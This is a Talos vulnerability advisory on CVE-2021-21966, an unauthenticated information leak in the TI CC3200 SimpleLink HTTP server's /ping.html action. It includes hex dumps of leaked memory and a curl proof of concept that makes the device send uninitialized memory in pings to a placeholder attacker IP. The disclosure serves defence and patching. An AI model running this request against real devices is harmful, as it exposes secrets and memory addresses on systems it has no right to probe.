Talos Vulnerability Report

TALOS-2021-1393

Texas Instruments CC3200 SimpleLink Solution HTTP Server /ping.html information disclosure vulnerability

FEBRUARY 15, 2022

CVE NUMBER

CVE-2021-21966

Summary

An information disclosure vulnerability exists in the HTTP Server /ping.html functionality of Texas Instruments CC3200 SimpleLink Solution NWP 2.9.0.0. A specially-crafted HTTP request can lead to an uninitialized read. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Texas Instruments CC3200 SimpleLink Solution NWP 2.9.0.0
Sealevel Systems, Inc. SeaConnect 370W v1.3.34

Product URLs

CC3200 SimpleLink Solution - https://www.ti.com/lit/ds/symlink/cc3200.pdf SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

CVSSv3 Score

5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-457 - Use of Uninitialized Variable

Details

The CC3200 SimpleLink Wi-Fi and Internet-of-Things Solution is a Texas Instruments microcontroller with built in 2.4GHz Wi-Fi capabilities. It consists of an ARM Cortex-M4 for execution of the customer application and a secondary ARM MCU identified as the Network Processor (NWP). The NWP not only provides Wi-Fi capabilities, but an IPv4/IPv6-capable networking stack with built-in support for common protocols including TCP, UDP, DHCP, ARP, DNS, MDNS, TLS and an HTTP Server.

The CC3200 SimpleLink Network Processor (NWP) includes a built-in HTTP server. This web server includes a default web page, enabled by default, that services certain HTTP requests without ever involving the application processor. These requests include various static files (images, CSS, about.html, etc.) as well as a handful of ‘Actions’ that effect various responses from the NWP. By default, these embedded resources are accessible and require no authentication. Both of these configurations can be modified by the host application.

A full listing of these actions are available in TI SWRU368C, Table 11-23, but in this case we will focus on the `ping.html` action.

An HTTP POST request destined for `/ping.html` may contain three parameters: 1. `__SL_P_T.A` - The target IP Address 2. `__SL_P_T.B` - The size of the packet (between 32 and 1472 bytes) 3. `__SL_P_T.C` - The number of pings to execute (between 1 and 255)

If the minimum `size` parameter (`__SL_P_T.B`) is provided, the contents of the ICMP ping payload will be:

```
0x0000:  4500 003c 0046 0000 8001 b121 c0a8 0408  E..<.F.....!....
0x0010:  c0a8 0401 0800 4558 0408 0000 5049 4e47  ......EX....PING
0x0020:  2054 4553 5420 306e 6344 6174 6120 0000  .TEST.0ncData...
0x0030:  0000 0000 0000 0000 0000 0000            ............
```

If the maximum `size` parameter is provided, the contents of the ICMP ping payload will be:

```
0x0000:  4500 05dc 023b 0000 8001 a98c c0a8 0408  E....;..........
0x0010:  c0a8 0401 0800 44c3 0408 0000 5049 4e47  ......D.....PING
0x0020:  2054 4553 5420 306e 6344 6174 6120 0000  .TEST.0ncData...
0x0030:  d424 6a05 c499 88a2 0000 293e c014 c014  .$j.......)>....
0x0040:  0039 0011 0005 0035 003c 0004 c027 c03d  .9.....5.<...'.=
0x0050:  0000 0123 1100 0000 4000 0000 0000 0000  ...#....@.......
0x0060:  6fdd 5407 dce3 c37f fd2e 8815 d13b 7313  o.T..........;s.
0x0070:  1000 0d00 0c00 0a02 0102 0202 0304 0104  ................
0x0080:  03f0 1daa 66c1 cffe 005e 46b1 056a 24d4  ....f....^F..j$.
0x0090:  a288 99c4 3e29 0000 14c0 14c0 1100 3900  ....>)........9.
0x00a0:  3500 0500 0400 3c00 3dc0 27c0 2301 0000  5.....<.=.'.#...
0x00b0:  1100 0000 4000 0000 0000 0000 4150 f831  ....@.......AP.1
0x00c0:  7183 8bf4 5a47 eb14 cad7 788b 6329 3a81  q...ZG....x.c):.
0x00d0:  cd31 1b24 9528 8b30 b9a7 2814 1000 0d00  .1.$.(.0..(.....
0x00e0:  0c00 0a02 0102 0202 0304 0104 031d f051  ...............Q
0x00f0:  fecf c166 b146 5e00 d424 6a05 c499 88a2  ...f.F^..$j.....
0x0100:  0000 293e c014 c014 0039 0011 0005 0035  ..)>.....9.....5
0x0110:  003c 0004 c027 c03d 0000 0123 0000 0000  .<...'.=...#....
0x0120:  0000 0000 0000 0000 9941 0c00 0000 0000  .........A......
0x0130:  0000 0000 0000 0000 0100 0000 fcca 0220  ................
0x0140:  3448 0220 0000 0080 fcca 0220 3448 0220  4H..........4H..
0x0150:  7961 0900 60ee 0020 9c42 0220 e8ee 0020  ya..`....B......
0x0160:  bc42 0220 0000 0000 0000 0000 0000 0000  .B..............
0x0170:  0000 0000 0000 0000 0000 0000 918b 0820  ................
0x0180:  0000 0000 bc4b 0320 0000 0000 3003 0000  .....K......0...
0x0190:  0000 0000 8323 0200 0000 0000 be2c 0204  .....#.......,..
0x01a0:  0000 0000 0000 0000 0000 0000 3db2 0320  ............=...
0x01b0:  0100 0000 0010 0000 0000 0000 0000 0000  ................
0x01c0:  51b2 0320 0100 0000 0000 0000 0000 0000  Q...............
0x01d0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0:  0000 0000 0007 0001 0001 0001 0000 0000  ................
0x01f0:  0000 0001 0000 0100 0001 0000 0101 0000  ................
0x0200:  0000 0000 0000 0000 0000 0000 b277 47e1  .............wG.
0x0210:  0000 0000 0000 0000 0000 0000 0cc1 0120  ................
0x0220:  0cc1 0120 94fb 0220 7792 0b00 0801 0841  ........w......A
0x0230:  0100 0000 0100 0000 b827 eb72 8feb 0000  .........'.r....
0x0240:  000a 0b21 0b9f 0220 b827 eb72 8feb 0000  ...!.....'.r....
0x0250:  e5ef 0900 1000 0000 0300 0000 0200 0000  ................
0x0260:  f0b5 0320 0000 0000 ac5a 0320 0000 0000  .........Z......
0x0270:  0caf 0320 c0be 0320 045a 0320 585a 0320  .........Z..XZ..
0x0280:  2000 0000 0000 0820 713d 0800 74f3 0020  ........q=..t...
0x0290:  0400 0000 0c00 0000 f401 0000 70af 0320  ............p...
0x02a0:  c44c 0320 2804 0000 c8fc ffff 2000 0000  .L..(...........
0x02b0:  2402 0000 0100 0000 0a00 0000 399a 0700  $...........9...
0x02c0:  e8fe 0120 5cf0 0020 0200 0000 0100 0000  ....\...........
0x02d0:  0000 0000 0000 0000 e5da 0900 312b 0c00  ............1+..
0x02e0:  846c 0120 0000 0000 0000 0000 0000 0000  .l..............
0x02f0:  f002 0000 8cbe 0320 5401 0120 0a0a 00ef  ........T.......
0x0300:  a410 01c0 b827 eb72 8feb 000a 0b21 0b9f  .....'.r.....!..
0x0310:  efef efef efef efef efef efef efef efef  ................
0x0320:  efef efef efef efef efef efef efef efef  ................
0x0330:  efef efef efef efef 918b 0820 2000 0000  ................
0x0340:  0000 0080 5000 0000 5000 0000 7848 0220  ....P...P...xH..
0x0350:  0400 0000 233b 0a00 3454 0900 0000 0000  ....#;..4T......
0x0360:  0100 0000 0000 0000 d8c8 0220 6dfa 0500  ............m...
0x0370:  f404 0000 94fd ffff 7777 772f 7361 6665  ........www/safe
0x0380:  2f70 696e 672e 6874 6d6c 0000 0000 0000  /ping.html......
0x0390:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420:  0000 0000 0000 0000 0000 0000 0100 0000  ................
0x0430:  0000 0000 e5da 0900 0000 0000 0000 0000  ................
0x0440:  0000 0000 1000 0000 8097 0220 2d54 0c00  ............-T..
0x0450:  0000 0000 0000 0000 0000 0000 0201 0200  ................
0x0460:  0100 1003 595c 3754 4768 e6c7 1dfc dee1  ....Y\7TGh......
0x0470:  b277 47e1 0000 0000 0000 0000 0000 0000  .wG.............
0x0480:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0490:  0000 0000 0000 0000 0000 0000 233b 0a00  ............#;..
0x04a0:  b430 0000 0000 0000 d898 0220 64d5 0b00  .0..........d...
0x04b0:  0000 0000 e5ef 0900 1000 0000 0300 0000  ................
0x04c0:  0200 0000 f0b5 0320 0000 0000 0000 0000  ................
0x04d0:  0000 0000 0000 0000 8097 0220 3ded 0900  ............=...
0x04e0:  0000 0000 8097 0220 6c4c 0320 5df1 0800  ........lL..]...
0x04f0:  0000 0000 cfc9 0100 918b 0820 2000 0000  ................
0x0500:  0000 0000 0000 0000 0000 0000 d400 0000  ................
0x0510:  2cfb 0020 5401 0120 595c 3754 4768 e6c7  ,...T...Y\7TGh..
0x0520:  1dfc dee1 b277 47e1 0000 0000 0000 0000  .....wG.........
0x0530:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0540:  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0550:  0000 0000 0000 0000 0000 0000 8400 0000  ................
0x0560:  a4be 0320 3c53 0320 595c 3754 4768 e6c7  ....<S..Y\7TGh..
0x0570:  1dfc dee1 b277 47e1 0000 0000 0000 0000  .....wG.........
0x0580:  0000 0000 0000 0000 3000 0000 acff ffff  ........0.......
0x0590:  0000 0000 182b 0120 e08b 0000 0000 0000  .....+..........
0x05a0:  70ae 0320 0000 0000 0000 0000 0000 0000  p...............
0x05b0:  5c01 0120 0000 0000 0000                 \.........
```

The disclosed information could potentially contain sensitive information such as passwords and tokens, or could be used to bypass exploit mitigation by leaking addresses or stack cookies.

Exploit Proof of Concept

```
curl -i -s -k -X $'POST' \
-H $'Content-Length: 51' \
--data-binary $'__SL_P_T.A=<attacker_ip>&__SL_P_T.B=1472&__SL_P_T.C=1' \
$'http://<target_ip>/ping.html'
```

Timeline

2021-10-21 - Vendor Disclosure

2022-02-15 - Public Release

CREDIT

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1386

NEXT REPORT

TALOS-2022-1460